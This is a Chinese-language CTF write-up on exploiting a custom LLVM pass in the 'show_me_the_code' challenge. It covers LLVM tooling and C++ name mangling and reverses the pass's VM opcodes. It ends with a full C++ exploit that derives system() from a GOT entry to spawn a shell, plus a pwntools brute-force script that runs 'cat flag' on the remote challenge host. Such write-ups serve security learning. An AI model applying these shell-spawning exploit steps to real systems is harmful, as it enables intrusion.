前言
最近比赛中遇到一道llvm pass pwn
,现学了一下相关知识,发现网上的讲解和例题的exp
基本都是用的c
语言,而比赛中的这题在题目描述中说明了用的是c++
,虽然用c
也可以通过修改.ll
文件完成,但是相比之下还是觉得直接用c++
写exp
方便一些,主要体现在:
c
语言需要导入#include <stdbool.h>
头才能使用bool
类型c
语言没有class
,需要先写成struct
再修改.ll
文件中的struct
为class
,且使用struct
编写本身也比class
麻烦
前置基础
llvm
llvm
的作用:gcc
编译时前后端耦合在一起,出现新平台或编译程序都需要重新设计IR
,而llvm
使用统一的中间代码不需要设计新的IR
llvm pass
:对ir
进行分析 优化等操作的过程的模块
IR
的三种表现形式:
.ll
:可读IR
,类似汇编.bc
:不可读二进制IR
- 保存在内存中
llvm
工具
llvm-as
:把LLVM IR
从人可读的文本格式汇编成成二进制格式llvm-dis
:llvm-as
的逆过程,即反汇编opt
:优化LLVM IR
,输出新的LLVM IR
llc
:把LLVM IR
编译成汇编码lli
:解释执行LLVM IR
环境配置:
sudo apt install clang-12 clang-8 llvm-12 llvm-8
程序编译:
编译为
.ll
:clang-12 -emit-llvm -S exp.c -o exp.ll
编译为
.bc
:clang-12 -emit-llvm -c exp.c -o exp.bc
程序运行:
opt-12 -load ./xxx.so -标识符 ./exp.ll
其中标识符与加载的动态库中注册的一个pass
相关联,可以使用-标识符
来启用这个pass
c++函数名修饰规则
使用gcc
或clang
编译c++
时会经过名称修饰的过程从而改变函数名,修饰后的名称通常包括:
_Z
:修饰名称的开始N
:表示这是一个函数或静态成员函数数字:表示函数名称的长度
类名和函数名:经过编码的类名和函数名
E
:参数列表的开始参数类型:通过不同的字母按顺序表示参数类型
字母 参数类型 i int j unsigned int l long x long long m unsigned long c char h unsigned char b bool 结尾:包含额外信息如返回类型
例如_ZN4edoc4addiEhii
表示在edoc
类中的函数名长度为4
的函数addi
,它的三个参数分别是unsigned char
、int
、int
类型
解题过程
解题流程
题目一般会给出ld-linux-x86-64.so.2
、libc.so.6
、opt-12
、xxx.so
和一个说明文档,说明文档会给出如何编译运行以及打远程,一般是将.ll
或者.bc
文件进行base64
编码发送到远程,漏洞点出现在xxx.so
,即需要逆向分析的就是这个xxx.so
,而攻击的是opt
程序,opt
程序没给的话也可以用/bin/opt-12
在初始化函数(例如
_cxx_global_var_init_17
)中找到标识符(即StringRef
函数的参数)导入动态链接库
sudo cp xxx.so /lib
在
xxx.so
的.data.rel.ro
段找到虚表,虚表的最后一项就是程序入口进行动态调试,确定入口函数名、其他函数名、类名等
编写交互脚本
逆向分析函数,编写
exp
脚本
动态调试
使用gdb opt-12
进行调试,并且通过set args -load ./xxx.so -xxx ./exp.ll
导入参数,在main
函数下断点,运行至所有llvm::initialize
前缀的初始化函数结束,使用vmmap
获取xxx.so
的基址,通过IDA
中的偏移下断点进行进一步调试(如果没有基址说明初始胡函数还没运行完
例题
show_me_the_code
题目来源于源鲁杯Round3
的困难题,给了codeVM.so
、ld-linux-x86-64.so.2
、libc.so.6
、opt-12
、说明文档和docker
,给出编译指令clang-12 -emit-llvm -S exp.cpp -o exp.ll
,上传题解的方式是将exp.ll
进行base64
编码并且在最后加上换行和EOF
发送到远程,从编译指令可以看出需要用c++
编写exp
确定标识符
直接搜索函数名init
找到函数_cxx_global_var_init_17
中有标识符Co00o0oOd3
,确定了程序的运行方式是./opt-12 -load ./codeVM.so -Co00o0oOd3 ./exp.ll
,这里需要先执行sudo cp codeVM.so /lib
导入动态链接库
int _cxx_global_var_init_17()
{
__int64 v1; // [rsp+10h] [rbp-20h] BYREF
__int64 v2; // [rsp+18h] [rbp-18h]
__int64 v3; // [rsp+20h] [rbp-10h] BYREF
__int64 v4; // [rsp+28h] [rbp-8h]
llvm::StringRef::StringRef((llvm::StringRef *)&v3, "Co00o0oOd3");
llvm::StringRef::StringRef((llvm::StringRef *)&v1, "c0oo0o0Ode Pass");
llvm::RegisterPass<`anonymous namespace'::c0oo0o0Ode>::RegisterPass((unsigned int)&X, v3, v4, v1, v2, 0, 0);
return __cxa_atexit(llvm::RegisterPass<`anonymous namespace'::c0oo0o0Ode>::~RegisterPass, &X, &_dso_handle);
}
确定程序入口函数
在.data.rel.ro
段找到了vtable
,最后一项``anonymous namespace’::c0oo0o0Ode::runOnFunction(llvm::Function &)`就是程序入口,直接点进这个函数
.data.rel.ro:0000000000030D08 dq offset _ZN12_GLOBAL__N_110c0oo0o0OdeD2Ev ; `anonymous namespace'::c0oo0o0Ode::~c0oo0o0Ode()
.data.rel.ro:0000000000030D10 dq offset _ZN12_GLOBAL__N_110c0oo0o0OdeD0Ev ; `anonymous namespace'::c0oo0o0Ode::~c0oo0o0Ode()
.data.rel.ro:0000000000030D18 dq offset _ZNK4llvm4Pass11getPassNameEv ; llvm::Pass::getPassName(void)
.data.rel.ro:0000000000030D20 dq offset _ZN4llvm4Pass16doInitializationERNS_6ModuleE ; llvm::Pass::doInitialization(llvm::Module &)
.data.rel.ro:0000000000030D28 dq offset _ZN4llvm4Pass14doFinalizationERNS_6ModuleE ; llvm::Pass::doFinalization(llvm::Module &)
.data.rel.ro:0000000000030D30 dq offset _ZNK4llvm4Pass5printERNS_11raw_ostreamEPKNS_6ModuleE ; llvm::Pass::print(llvm::raw_ostream &,llvm::Module const*)
.data.rel.ro:0000000000030D38 dq offset _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE ; llvm::FunctionPass::createPrinterPass(llvm::raw_ostream &,std::string const&)
.data.rel.ro:0000000000030D40 dq offset _ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE ; llvm::FunctionPass::assignPassManager(llvm::PMStack &,llvm::PassManagerType)
.data.rel.ro:0000000000030D48 dq offset _ZN4llvm4Pass18preparePassManagerERNS_7PMStackE ; llvm::Pass::preparePassManager(llvm::PMStack &)
.data.rel.ro:0000000000030D50 dq offset _ZNK4llvm12FunctionPass27getPotentialPassManagerTypeEv ; llvm::FunctionPass::getPotentialPassManagerType(void)
.data.rel.ro:0000000000030D58 dq offset _ZNK4llvm4Pass16getAnalysisUsageERNS_13AnalysisUsageE ; llvm::Pass::getAnalysisUsage(llvm::AnalysisUsage &)
.data.rel.ro:0000000000030D60 dq offset _ZN4llvm4Pass13releaseMemoryEv ; llvm::Pass::releaseMemory(void)
.data.rel.ro:0000000000030D68 dq offset _ZN4llvm4Pass26getAdjustedAnalysisPointerEPKv ; llvm::Pass::getAdjustedAnalysisPointer(void const*)
.data.rel.ro:0000000000030D70 dq offset _ZN4llvm4Pass18getAsImmutablePassEv ; llvm::Pass::getAsImmutablePass(void)
.data.rel.ro:0000000000030D78 dq offset _ZN4llvm4Pass18getAsPMDataManagerEv ; llvm::Pass::getAsPMDataManager(void)
.data.rel.ro:0000000000030D80 dq offset _ZNK4llvm4Pass14verifyAnalysisEv ; llvm::Pass::verifyAnalysis(void)
.data.rel.ro:0000000000030D88 dq offset _ZN4llvm4Pass17dumpPassStructureEj ; llvm::Pass::dumpPassStructure(uint)
.data.rel.ro:0000000000030D90 dq offset _ZN12_GLOBAL__N_110c0oo0o0Ode13runOnFunctionERN4llvm8FunctionE ; `anonymous namespace'::c0oo0o0Ode::runOnFunction(llvm::Function &)
确定函数名和类名编写交互脚本
找到程序逻辑,其中llvm::Value::getName
用于获取函数名,llvm::operator==(Name, v8, v6[0], v6[1]);
用于比较函数名
__int64 __fastcall `anonymous namespace'::c0oo0o0Ode::runOnFunction(
_anonymous_namespace_::c0oo0o0Ode *this,
llvm::Function *a2)
{
__int64 v2; // rdx
char v4; // [rsp+Fh] [rbp-51h]
_BYTE v5[32]; // [rsp+10h] [rbp-50h] BYREF
__int64 v6[2]; // [rsp+30h] [rbp-30h] BYREF
__int64 Name; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
llvm::Value *v9; // [rsp+50h] [rbp-10h]
_anonymous_namespace_::c0oo0o0Ode *v10; // [rsp+58h] [rbp-8h]
v10 = this;
v9 = a2;
secret::init(this);
Name = llvm::Value::getName(a2);
v8 = v2;
VMDatProt::getStrFromProt2(
(__int64)v5,
(__int64)&`anonymous namespace'::vmFuncName[abi:cxx11],
(__int64)&secret::vmKey[abi:cxx11]);
llvm::StringRef::StringRef(v6, v5);
v4 = llvm::operator==(Name, v8, v6[0], v6[1]);
std::string::~string(v5);
if ( (v4 & 1) != 0 )
`anonymous namespace'::c0oo0o0Ode::vmRun(this, v9);
return 0LL;
}
直接随便写一个函数名动态调试,传入参数的指令是set args -load codeVM.so -Co00o0oOd3 exp.ll -f
,运行完初始化函数之后通过vmmap
找到codeVM.so
的基址
0x7ffff1f88000 0x7ffff1fa0000 r--p 18000 0 /usr/lib/codeVM.so
0x7ffff1fa0000 0x7ffff1fb0000 r-xp 10000 18000 /usr/lib/codeVM.so
0x7ffff1fb0000 0x7ffff1fb8000 r--p 8000 28000 /usr/lib/codeVM.so
0x7ffff1fb8000 0x7ffff1fb9000 r--p 1000 2f000 /usr/lib/codeVM.so
0x7ffff1fb9000 0x7ffff1fbb000 rw-p 2000 30000 /usr/lib/codeVM.so
在llvm::operator==(Name, v8, v6[0], v6[1]);
下断点观察函数名,测试程序中我的函数名是testname
,在比较时输入的函数名变成了_Z8testnamev
,即头部+长度+函数名+v
,比较对象函数名_Z10c0deVmMainv
,所以入口函数的函数名就是c0deVmMain
► 0x7ffff1fa3242 <(anonymous namespace)::c0oo0o0Ode::runOnFunction(llvm::Function&)+98> call llvm::operator==(llvm::StringRef, llvm::StringRef)@plt <llvm::operator==(llvm::StringRef, llvm::StringRef)@plt>
rdi: 0x4e5510 ◂— '_Z8testnamev'
rsi: 0xc
rdx: 0x7fffffffd390 ◂— '_Z10c0deVmMainv'
rcx: 0xf
程序的基本结构如下,其他操作都写在c0deVmMain
中
int c0deVmMain() {
return 0;
}
通过比较之后会进入``anonymous namespace’::c0oo0o0Ode::vmRun(this, v9);,这个函数中存在
8个
op,在每个
op之前通过
anonymous namespace’::c0oo0o0Ode::isValidOp(this, &v15, v6) & 1) != 0判定函数名是否符合,同样函数中存在
llvm::Value::getName(v12)和
llvm::operator==(Name, v11, v9[0], v9[1], v4, v5);`,也是任意写一个函数定位到这里判断函数名
__int64 __fastcall `anonymous namespace'::c0oo0o0Ode::isValidOp(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // rdx
__int64 v4; // r8
__int64 v5; // r9
char v7; // [rsp+Fh] [rbp-81h]
_BYTE v8[32]; // [rsp+18h] [rbp-78h] BYREF
__int64 v9[2]; // [rsp+38h] [rbp-58h] BYREF
__int64 Name; // [rsp+48h] [rbp-48h]
__int64 v11; // [rsp+50h] [rbp-40h]
llvm::Value *v12; // [rsp+58h] [rbp-38h]
__int64 CalledOperand; // [rsp+60h] [rbp-30h]
llvm::CallBase *v14; // [rsp+68h] [rbp-28h]
__int64 v15; // [rsp+70h] [rbp-20h]
__int64 v16; // [rsp+78h] [rbp-18h]
__int64 v17; // [rsp+80h] [rbp-10h]
char v18; // [rsp+8Fh] [rbp-1h]
v17 = a1;
v16 = a2;
v15 = a3;
v14 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,true>>(a2);
if ( !v14 )
goto LABEL_6;
CalledOperand = llvm::CallBase::getCalledOperand(v14);
v12 = (llvm::Value *)llvm::dyn_cast<llvm::Function,llvm::Value>(CalledOperand);
if ( !v12 )
goto LABEL_6;
Name = llvm::Value::getName(v12);
v11 = v3;
VMDatProt::getStrFromProt2((__int64)v8, v15, (__int64)&secret::vmKey[abi:cxx11]);
llvm::StringRef::StringRef(v9, (__int64)v8);
v7 = llvm::operator==(Name, v11, v9[0], v9[1], v4, v5);
std::string::~string(v8);
if ( (v7 & 1) != 0 && (`anonymous namespace'::c0oo0o0Ode::isValidEnv(a1, v16) & 1) != 0 )
v18 = 1;
else
LABEL_6:
v18 = 0;
return v18 & 1;
}
我的测试函数名是testfunction
,运行到断点观察输入函数名变成_Z12testfunctionv
,而比较函数名_ZN4edoc4addiEhii
,根据c++
函数名修饰规则可以分析到该函数是位于edoc
类下的addi
函数,参数类型是unsigned char
、int
、int
► 0x7ffff1fa362e <(anonymous namespace)::c0oo0o0Ode::isValidOp(llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction, false, false, void>, false, true>&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)+158> call llvm::operator==(llvm::StringRef, llvm::StringRef)@plt <llvm::operator==(llvm::StringRef, llvm::StringRef)@plt>
rdi: 0x4e55e0 ◂— '_Z12testfunctionv'
rsi: 0x11
rdx: 0x4ce0c0 ◂— '_ZN4edoc4addiEhii'
rcx: 0x11
同样,运行到每个op
前的``anonymous namespace’::c0oo0o0Ode::isValidOp`函数记录每个函数的函数名,得到以下交互脚本
class edoc {
public:
void addi(unsigned char x, int y, int z) {}
void chgr(unsigned char x, int y) {}
void sftr(unsigned char x, bool y, unsigned char z) {}
void borr(unsigned char x, unsigned char y, unsigned char z) {}
void movr(unsigned char x, unsigned char y) {}
void save(unsigned char x, unsigned int y) {}
void load(unsigned char x, unsigned int y) {}
void runc(unsigned char x, unsigned int y) {}
};
edoc obj;
int c0deVmMain() {
return 0;
}
逆向分析
对每个功能进行逆向分析,分析过程不多描述,分析结果如下:
addi -> regs[x] = y + z ;x <= 5
chgr -> regs[x] += y ;x <= 5 -0x1000 < y < 0x1000 onetime
sftr -> if y == 1 : regs[x] << z, if y == 0 : regs[x] >> z ;x <= 5 y < 0x40
borr -> regs[x] = regs[y] | regs[z] ;x <= 5 y <= 5 z <= 5
movr -> regs[x] = regs[y] ;x < 8 y < 8
save -> *(y+regs[6]) = regs[x] ;x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
load -> regs[x] = *(y+regs[6]) ;x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
runc -> *(y+regs[6])(regs[x]) ;x <= 5 y <= 0x1000 y & 7 == 0 regs[6] & 0xFFF = 0 regs[7] = regs[6] + 0x1000
利用思路就是用op7
获取一个libc
上的地址,用op8
执行system('$0')
,opt-12
程序没有开启pie
,所以可以直接获取opt-12
中的got
表里的libc
地址,离system
最近的就是0x442ad8
中的getenv_got
,再通过左移右移或运算得到system
地址,本地getenv
和system
地址如下
pwndbg> x/gx 0x442ad8
0x442ad8 <getenv@got[plt]>: 0x00007ffff1c44b70
pwndbg> p system
$1 = {<text variable, no debug info>} 0x7ffff1c50d70 <system>
我的思路是将getenv
右移16
位再左移16
位清空最后两个字节为0x00007ffff1c40000
,第五位使用op2
来加1
为0x00007ffff1c50000
,再用op3
改末三位为0x00007ffff1c50d70
,由于libc
只有末三位固定剩下是随机的,所以第四位需要爆破
exp
class edoc {
public:
void addi(unsigned char x, int y, int z) {}
void chgr(unsigned char x, int y) {}
void sftr(unsigned char x, bool y, unsigned char z) {}
void borr(unsigned char x, unsigned char y, unsigned char z) {}
void movr(unsigned char x, unsigned char y) {}
void save(unsigned char x, unsigned int y) {}
void load(unsigned char x, unsigned int y) {}
void runc(unsigned char x, unsigned int y) {}
};
edoc obj;
void testfunction(){}
int c0deVmMain() {
obj.addi(0, 0x442000, 0);
obj.movr(6, 0);
obj.addi(1, 0x443000, 0);
obj.movr(7, 1); //regs[7] = regs[6] + 0x1000
obj.load(2, 0xad8); //load(0x4420xad8): regs[2] = getenv_addr
obj.sftr(2, 0, 16);
obj.sftr(2, 1, 12);
obj.addi(5, 0x400, 0);
obj.borr(2, 2, 5);
obj.chgr(2, 0xc00);
obj.sftr(2, 1, 4); //Sets the lower two bytes to null and increments the third last byte by 1
obj.addi(4, 0xd70, 0);
obj.borr(2, 2, 4); //clear and add
obj.addi(4, 0x3024, 0);
obj.save(4, 0x1000); //save $0
obj.save(2, 0xb00); //save system
obj.runc(1, 0xb00); //system('$0')
return 0;
}
爆破脚本,大概30+次爆破出来的
from pwn import *
import base64
context(arch='amd64', os='linux', log_level='debug')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
with open("exp.ll", "rb") as file:
p = base64.b64encode(file.read())
p += b'\nEOF\n'
rnd = 0
while True:
try:
r = remote('challenge.yuanloo.com', 43319)
rnd += 1
li('the ' + str(rnd) + ' round')
r.recvuntil(b'(EOF to stop):\n')
r.send(p)
r.sendline('cat flag')
for i in range(4):
s = r.recvline()
if b'YLCTF' in s:
li(s)
break
else:
continue
except EOFError:
r.close()
continue